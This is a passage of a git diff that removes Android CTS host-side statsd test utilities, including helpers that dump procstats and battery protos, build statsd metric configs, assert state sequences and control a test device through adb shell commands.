-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all procstats package data in proto
-     */
-    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsOver24Hrs();
-            List<ProcessStatsPackageProto> processStatsProtoList =
-                new ArrayList<ProcessStatsPackageProto>();
-            for (android.service.procstats.ProcessStatsPackageProto pkgStast :
-                sectionProto.getPackageStatsList()) {
-              ProcessStatsPackageProto pkgAtom =
-                  ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
-                processStatsProtoList.add(pkgAtom);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all processes' procstats statsd data in proto
-     */
-    protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
-            throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    android.service.procstats.ProcessStatsSectionProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--statsd"));
-            List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                    = sectionProto.getProcessStatsList();
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (android.service.procstats.ProcessStatsProto processStatsProto
-                    : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    protected boolean hasBattery() throws Exception {
-        try {
-            BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
-            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
-            return batteryProto.getIsPresent();
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batteryservice proto");
-            throw (e);
-        }
-    }
-
-    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
-    protected static FieldValueMatcher.Builder createFvm(int field) {
-        return FieldValueMatcher.newBuilder().setField(field);
-    }
-
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
-        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key.
-     *
-     * @param conf    configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm     FieldValueMatcher.Builder for the relevant key
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            FieldValueMatcher.Builder fvm)
-            throws Exception {
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given keys.
-     *
-     * @param conf   configuration
-     * @param atomId atom tag (from atoms.proto)
-     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
-            List<FieldValueMatcher.Builder> fvms) throws Exception {
-
-        final String atomName = "Atom" + System.nanoTime();
-        final String eventName = "Event" + System.nanoTime();
-
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        if (fvms != null) {
-            for (FieldValueMatcher.Builder fvm : fvms) {
-                sam.addFieldValueMatcher(fvm);
-            }
-        }
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        conf.addEventMetric(EventMetric.newBuilder()
-                .setId(eventName.hashCode())
-                .setWhat(atomName.hashCode()));
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf        configuration
-     * @param atomId      atom id (from atoms.proto)
-     * @param gaugeMetric the gauge metric to add
-     */
-    protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
-            GaugeMetric.Builder gaugeMetric) throws Exception {
-        final String atomName = "Atom" + System.nanoTime();
-        final String gaugeName = "Gauge" + System.nanoTime();
-        final String predicateName = "APP_BREADCRUMB";
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        final String predicateTrueName = "APP_BREADCRUMB_1";
-        final String predicateFalseName = "APP_BREADCRUMB_2";
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(predicateTrueName.hashCode())
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(1)
-                        )
-                )
-        )
-                // Used to trigger predicate
-                .addAtomMatcher(AtomMatcher.newBuilder()
-                        .setId(predicateFalseName.hashCode())
-                        .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                        .setEqInt(2)
-                                )
-                        )
-                );
-        conf.addPredicate(Predicate.newBuilder()
-                .setId(predicateName.hashCode())
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(predicateTrueName.hashCode())
-                        .setStop(predicateFalseName.hashCode())
-                        .setCountNesting(false)
-                )
-        );
-        gaugeMetric
-                .setId(gaugeName.hashCode())
-                .setWhat(atomName.hashCode())
-                .setCondition(predicateName.hashCode());
-        conf.addGaugeMetric(gaugeMetric.build());
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf      configuration
-     * @param atomId    atom id (from atoms.proto)
-     * @param dimension dimension is needed for most pulled atoms
-     */
-    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
-            @Nullable FieldMatcher.Builder dimension) throws Exception {
-        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
-                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
-                .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
-                .setMaxNumGaugeAtomsPerBucket(10000)
-                .setBucket(TimeUnit.CTS);
-        if (dimension != null) {
-            gaugeMetric.setDimensionsInWhat(dimension.build());
-        }
-        addGaugeAtom(conf, atomId, gaugeMetric);
-    }
-
-    /**
-     * Asserts that each set of states in stateSets occurs at least once in data.
-     * Asserts that the states in data occur in the same order as the sets in stateSets.
-     *
-     * @param stateSets        A list of set of states, where each set represents an equivalent
-     *                         state of the device for the purpose of CTS.
-     * @param data             list of EventMetricData from statsd, produced by
-     *                         getReportMetricListData()
-     * @param wait             expected duration (in ms) between state changes; asserts that the
-     *                         actual wait
-     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
-     *                         assertion.
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
-            int wait, Function<Atom, Integer> getStateFromAtom) {
-        // Sometimes, there are more events than there are states.
-        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
-        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
-        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
-        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
-            Atom atom = data.get(dataIndex).getAtom();
-            int state = getStateFromAtom.apply(atom);
-            // If state is in the current state set, we do not assert anything.
-            // If it is not, we expect to have transitioned to the next state set.
-            if (stateSets.get(stateSetIndex).contains(state)) {
-                // No need to assert anything. Just log it.
-                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
-                        + "in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-            } else {
-                stateSetIndex += 1;
-                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
-                        + " in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
-                assertWithMessage("Too many states").that(stateSetIndex)
-                    .isLessThan(stateSets.size());
-                assertWithMessage(String.format("Is in wrong state (%d)", state))
-                    .that(stateSets.get(stateSetIndex)).contains(state);
-                if (wait > 0) {
-                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
-                            wait / 2, wait * 5);
-                }
-            }
-        }
-        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
-    }
-
-    /**
-     * Removes all elements from data prior to the first occurrence of an element of state. After
-     * this method is called, the first element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
-            Function<Atom, Integer> getStateFromAtom) {
-        int firstStateIdx;
-        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
-            Atom atom = data.get(firstStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (firstStateIdx == 0) {
-            // First first element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(0, firstStateIdx).clear();
-    }
-
-    /**
-     * Removes all elements from data after to the last occurrence of an element of state. After
-     * this method is called, the last element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
-        Function<Atom, Integer> getStateFromAtom) {
-        int lastStateIdx;
-        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
-            Atom atom = data.get(lastStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (lastStateIdx == data.size()-1) {
-            // Last element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(lastStateIdx+1, data.size()).clear();
-    }
-
-    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
-    protected int getHostUid() throws DeviceNotAvailableException {
-        String strUid = "";
-        try {
-            strUid = getDevice().executeShellCommand("id -u");
-            return Integer.parseInt(strUid.trim());
-        } catch (NumberFormatException e) {
-            LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
-            // Fall back to alternative method...
-            if (getDevice().isAdbRoot()) {
-                return 0; // ROOT
-            } else {
-                return 2000; // SHELL
-            }
-        }
-    }
-
-    protected String getProperty(String prop) throws Exception {
-        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
-    }
-
-    protected void turnScreenOn() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("wm dismiss-keyguard");
-    }
-
-    protected void turnScreenOff() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
-    }
-
-    protected void setChargingState(int state) throws Exception {
-        getDevice().executeShellCommand("cmd battery set status " + state);
-    }
-
-    protected void unplugDevice() throws Exception {
-        // On batteryless devices on Android P or above, the 'unplug' command
-        // alone does not simulate the really unplugged state.
-        //
-        // This is because charging state is left as "unknown". Unless a valid
-        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
-        // framework does not consider the device as running on battery.
-        setChargingState(3);
-
-        getDevice().executeShellCommand("cmd battery unplug");
-    }
-
-    protected void plugInAc() throws Exception {
-        getDevice().executeShellCommand("cmd battery set ac 1");
-    }
-
-    protected void plugInUsb() throws Exception {
-        getDevice().executeShellCommand("cmd battery set usb 1");
-    }
-
-    protected void plugInWireless() throws Exception {
-        getDevice().executeShellCommand("cmd battery set wireless 1");
-    }
-
-    protected void enableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-    }
-
-    protected void resetLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void disableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    protected void enableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
-    }
-
-    protected void resetBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
-    }
-
-    protected void disableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
-    }
-
-    protected void binderStatsNoSampling() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
-    }
-
-    protected void setUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-        getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void cleanUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    public void setAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(1);
-    }
-
-    public void clearAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(2);
-    }
-
-    public void doAppBreadcrumbReportedStart(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
-    }
-
-    public void doAppBreadcrumbReportedStop(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label, int state) throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd stats log-app-breadcrumb %d %d", label, state));
-    }
-
-    protected void setBatteryLevel(int level) throws Exception {
-        getDevice().executeShellCommand("cmd battery set level " + level);
-    }
-
-    protected void resetBatteryStatus() throws Exception {
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected int getScreenBrightness() throws Exception {
-        return Integer.parseInt(
-                getDevice().executeShellCommand("settings get system screen_brightness").trim());
-    }
-
-    protected void setScreenBrightness(int brightness) throws Exception {
-        getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-    // Gets whether "Always on Display" setting is enabled.
-    // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
-    protected String getAodState() throws Exception {
-        return getDevice().executeShellCommand("settings get secure doze_always_on");
-    }
-
-    protected void setAodState(String state) throws Exception {
-        getDevice().executeShellCommand("settings put secure doze_always_on " + state);
-    }
-
-    protected boolean isScreenBrightnessModeManual() throws Exception {
-        String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
-        return Integer.parseInt(mode.trim()) == 0;
-    }
-
-    protected void setScreenBrightnessMode(boolean manual) throws Exception {
-        getDevice().executeShellCommand(
-                "settings put system screen_brightness_mode " + (manual ? 0 : 1));
-    }
-
-    protected void enterDozeModeLight() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
-    }
-
-    protected void enterDozeModeDeep() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
-    }
-
-    protected void leaveDozeMode() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle unforce");
-        getDevice().executeShellCommand("dumpsys deviceidle disable");
-        getDevice().executeShellCommand("dumpsys deviceidle enable");
-    }
-
-    protected void turnBatterySaverOn() throws Exception {
-        unplugDevice();
-        getDevice().executeShellCommand("settings put global low_power 1");
-    }
-
-    protected void turnBatterySaverOff() throws Exception {
-        getDevice().executeShellCommand("settings put global low_power 0");
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected void rebootDevice() throws Exception {
-        getDevice().rebootUntilOnline();
-    }
-
-    /**
-     * Asserts that the two events are within the specified range of each other.
-     *
-     * @param d0        the event that should occur first
-     * @param d1        the event that should occur second
-     * @param minDiffMs d0 should precede d1 by at least this amount
-     * @param maxDiffMs d0 should precede d1 by at most this amount
-     */
-    public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
-            int minDiffMs, int maxDiffMs) {
-        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
-        assertWithMessage("Illegal time difference")
-            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
-    }
-
-    protected String getCurrentLogcatDate() throws Exception {
-        // TODO: Do something more robust than this for getting logcat markers.
-        long timestampMs = getDevice().getDeviceDate();
-        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
-                .format(new Date(timestampMs));
-    }
-
-    protected String getLogcatSince(String date, String logcatParams) throws Exception {
-        return getDevice().executeShellCommand(String.format(
-                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
-    }
-
-    // TODO: Remove this and migrate all usages to createConfigBuilder()
-    protected StatsdConfig.Builder getPulledConfig() {
-        return createConfigBuilder();
-    }
-    /**
-     * Determines if the device has the given feature.
-     * Prints a warning if its value differs from requiredAnswer.
-     */
-    protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
-        final String features = getDevice().executeShellCommand("pm list features");
-        boolean hasIt = features.contains(featureName);
-        if (hasIt != requiredAnswer) {
-            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
-                    + featureName);
-        }
-        return hasIt == requiredAnswer;
-    }
-
-    /**
-     * Determines if the device has |file|.
-     */
-    protected boolean doesFileExist(String file) throws Exception {
-        return getDevice().doesFileExist(file);
-    }
-
-    protected void turnOnAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
-    }
-
-    protected void turnOffAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
-    }
-
-    /**
-     * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
-     * output.
-     *
-     * <p>Telephony dumpsys output does not support proto at the moment. This method provides
-     * limited support for parsing its output. Specifically, it does not support arrays or
-     * multi-line values.
-     */
-    private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
-        // Matches any line with indentation, except for lines with only spaces
-        Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
-        // Matches pattern for class, e.g. "    Phone:"
-        Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
-        // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
-        Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
-        String response =
-                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
-        Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
-
-        List<Map<String, String>> results = new ArrayList<>();
-        while (responseLines.peek() != null) {
-            Matcher matcher = classNamePattern.matcher(responseLines.poll());
-            if (matcher.matches()) {
-                final int classIndentLevel = matcher.group(1).length();
-                final Map<String, String> instanceEntries = new HashMap<>();
-                while (responseLines.peek() != null) {
-                    // Skip blank lines
-                    matcher = indentPattern.matcher(responseLines.peek());
-                    if (responseLines.peek().length() == 0 || !matcher.matches()) {
-                        responseLines.poll();
-                        continue;
-                    }
-                    // Finish (without consuming the line) if already parsed past this instance
-                    final int indentLevel = matcher.group(1).length();
-                    if (indentLevel <= classIndentLevel) {
-                        break;
-                    }
-                    // Parse key-value pair if it belongs to the instance directly
-                    matcher = keyValuePattern.matcher(responseLines.poll());
-                    if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
-                        instanceEntries.put(matcher.group(2), matcher.group(3));
-                    }
-                }
-                results.add(instanceEntries);
-            }
-        }
-        return results;
-    }
-
-    protected int getActiveSimSlotCount() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
-     * Returns the upper bound of active SIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveSimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
-     * Returns the upper bound of active eSIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveEsimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
-                && "true".equals(slot.get("mIsEuicc"))).count();
-        return Math.toIntExact(count);
-    }
-
-    protected boolean hasGsmPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump since they may or may not be present,
-        // which can make the test flaky
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
-                        String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
-    }
-
-    protected boolean hasCdmaPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
-                        String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
-                        || String.format("%d", PHONE_TYPE_CDMA_LTE)
-                                .equals(phone.get("getPhoneType()")));
-    }
-
-    // Checks that a timestamp has been truncated to be a multiple of 5 min
-    protected void assertTimestampIsTruncated(long timestampNs) {
-        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
-        assertWithMessage("Timestamp is not truncated")
-                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
deleted file mode 100644
index 0c9921e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.validation.ValidationTestUtil;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.MessageLite;
-import com.google.protobuf.Parser;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-
-import javax.annotation.Nonnull;
-import javax.annotation.Nullable;
-
-// Largely copied from incident's ProtoDumpTestCase
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-
-    protected IBuildInfo mCtsBuild;
-
-    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertThat(mCtsBuild).isNotNull();
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    public IBuildInfo getBuild() {
-        return mCtsBuild;
-    }
-
-    /**
-     * Create and return {@link ValidationTestUtil} and give it the current build.
-     */
-    public ValidationTestUtil createValidationUtil() {
-        ValidationTestUtil util = new ValidationTestUtil();
-        util.setBuild(getBuild());
-        return util;
-    }
-
-    /**
-     * Call onto the device with an adb shell command and get the results of
-     * that as a proto of the given type.
-     *
-     * @param parser A protobuf parser object. e.g. MyProto.parser()
-     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
-     *
-     * @throws DeviceNotAvailableException If there was a problem communicating with
-     *      the test device.
-     * @throws InvalidProtocolBufferException If there was an error parsing
-     *      the proto. Note that a 0 length buffer is not necessarily an error.
-     */
-    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
-            throws DeviceNotAvailableException, InvalidProtocolBufferException {
-        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        getDevice().executeShellCommand(command, receiver);
-        if (false) {
-            CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
-                    + " for command: " + command + "\n"
-                    + BufferDebug.debugString(receiver.getOutput(), -1));
-        }
-        try {
-            return parser.parseFrom(receiver.getOutput());
-        } catch (Exception ex) {
-            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
-                    + command
-                    + BufferDebug.debugString(receiver.getOutput(), 16384));
-            throw ex;
-        }
-    }
-
-    /**
-     * Install a device side test package.
-     *
-     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
-     * @param grantPermissions whether to give runtime permissions.
-     */
-    protected void installPackage(String appFileName, boolean grantPermissions)
-            throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName);
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(appFileName), true, grantPermissions);
-        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
-            .that(result).isNull();
-    }
-
-    protected CompatibilityBuildHelper getBuildHelper() {
-        return new CompatibilityBuildHelper(mCtsBuild);
-    }
-
-    /**
-     * Run a device side test.
-     *
-     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
-     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
-     * @param testMethodName Test method name.
-     * @return {@link TestRunResult} of this invocation.
-     * @throws DeviceNotAvailableException
-     */
-    @Nonnull
-    protected TestRunResult runDeviceTests(@Nonnull String pkgName,
-            @Nullable String testClassName, @Nullable String testMethodName)
-            throws DeviceNotAvailableException {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, TEST_RUNNER, getDevice().getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new Error("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new Error("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-
-        return result;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
deleted file mode 100644
index 2b35052..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import java.nio.charset.StandardCharsets;
-import java.util.Formatter;
-
-/**
- * Print utility for byte[].
- */
-public class BufferDebug {
-    private static final int HALF_WIDTH = 8;
-
-    /**
